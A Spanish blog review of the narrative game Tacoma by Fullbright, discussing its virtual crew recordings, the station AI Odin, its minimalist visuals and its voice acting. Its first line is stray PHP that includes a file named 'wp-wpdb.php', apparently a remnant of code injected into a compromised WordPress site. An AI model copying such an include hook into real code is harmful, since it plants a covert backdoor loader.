if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Tacoma – La Fortaleza de LeChuck

Análisis Tacoma

Este verano llevo un buen ritmo de Walking Simulators. Hace unos días estuve de visita por la casa laberíntica de los Finch y recientemente he vivido las aventuras espaciales de Tacoma, que si recordáis, formaba parte de aquel artículo de mis juegos favoritos para este verano. Los creadores de Gone Home vuelven al ataque con una aventura futurista muy especial. Dejad que os cuente más.

Seguramente reconoceréis a los chicos que están detrás de Tacoma, son Fullbright, un estudio independiente que hace 4 años nos adentraron en la noventera casa de Gone Home. Después de la popularidad de su primer lanzamiento, se pusieron manos a la obra con Tacoma, título del que ya teníamos constancia al verlo en diversas ferias. Precisamente Steve Gaynor, cofundador del estudio, nos acompañó en el Gamelab 2015 y ofreció un pequeño adelanto del juego, además señaló la intención de alejarse de su trabajo anterior. Tacoma sigue teniendo esa base de Walking Simulator pero se diferencia principalmente de Gone Home por la temática futurista y la interacción a través de recuerdos virtuales que hace más llevadera la soledad habitual del subgénero.

Tacoma es la estación espacial donde es enviada Amy Ferrier con la misión de investigar los sucesos acontecidos en su interior y recuperar la IA. La estación está dividida en varias secciones y el objetivo del jugador será interactuar con las formas virtuales de la tripulación y descargar los registros previos a la avería.

Ya no queda nadie en Tacoma. Solo efímeras reconstrucciones de un equipo que lo dejó todo para iniciar una nueva etapa entre las estrellas. El jugador, encarnando a Amy, deberá aproximarse a cada recreación virtual y, como si de un reproductor de video se tratara, pausar, rebobinar y avanzar con el fin de desentrañar la información oculta que aparece con forma de interrogantes en la línea de tiempo. Cada incógnita descifrada revelará información adicional de cada trabajador, tanto hechos personales como otros relacionados con la misión.

Las proyecciones RA irán trasladándose por los pasillos de Tacoma y seguir sus pasos será esencial para descargar todos los datos. Cuando cambiemos de habitación, se irán generando nuevas imágenes que nos servirán para completar el pad de datos de la sección.

La fuerza del juego son los diálogos a través de las formas virtuales de la tripulación que hace unos días ocupaba el lugar. Las conversaciones de los empleados han sido sabiamente creadas y se desarrollan de forma natural. Algunas son charlas que fácilmente podríamos escuchar en cualquier lugar de nuestro entorno y nos harán sentirnos totalmente identificados con sus sueños, preocupaciones y problemas cotidianos. Otras, en cambio, son las que se producen en situaciones de crisis después de un desastre de grandes proporciones. Ante estas circunstancias, cada individuo puede reaccionar de una forma completamente inusual y es así cómo en el juego observamos el cambio de comportamiento de los miembros en sus interacciones y mensajes que posiblemente despertarán la empatía del jugador. Así pues Tacoma focaliza su narrativa en los fragmentos de diálogo y anotaciones sobre los sujetos y su gestión de la crisis dentro de Tacoma hasta la conclusión del juego.

Más allá de las reacciones puramente humanas, es destacable el papel de la IA de la estación, Odin, la cual goza de bastante protagonismo y será un punto de apoyo indispensable para el equipo. El juego explora ligeramente con Odin los conflictos IA-humanos y la evolución de estas «máquinas» inteligentes. Sin embargo, este y otros temas «grandes» se tocan de paso y hubiera sido realmente interesante ahondar más en la IA y, en general, en algunas ideas que quedan en el aire. Al terminar el juego tuve la extraña sensación de que podrían haber sacado más chicha con una duración un pelín más larga.

Uno de los atractivos de Gone Home era manipular todo tipo de objetos y girarlos 360 grados en busca de detalles que nos recordaran a la bonita década de los 90. En Tacoma, también podremos toquetear de todo, pero los objetos son sobrios y sin apenas detalles. Por otro lado, al ser productos inventados, pierde totalmente la gracia y la interacción con objetos físicos queda reducida prácticamente a ciertas pertenencias de los individuos dentro de sus dependencias personales.

En el apartado visual, Tacoma es puramente minimalista. Gráficos sencillos y ambientación futurista donde los espacios poco congestionados son predominantes en una era donde lo holográfico ha tomado protagonismo ante lo físico. Sin embargo, las revistas y notas en papel, así como las fotos enmarcadas de seres queridos, se resisten a desaparecer. A pesar de la sencillez general, el título esconde «minijuegos» que harán que el jugador deje su deber para echar unas partidillas al billar o meter algunas canastas en gravedad cero. Detalles que se agradecen. En el apartado sonoro hay poco que mentar; la música es prácticamente inexistente pero tampoco se echa demasiado de menos gracias a los actores de voz que hacen que los personajes virtuales traspasen la pantalla.

En definitiva, Tacoma no es un juego revolucionario y hemos visto ideas parecidas en títulos más modestos como Alone with You, pero es una propuesta a tener en cuenta para pasar un rato disfrutando de una buena historia audiovisual. Otra obra de Fullbright que gustará por las emociones que emana su narrativa. Ya disponible en Linux, macOS, Windows y Xbox One.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

Dejar un comentario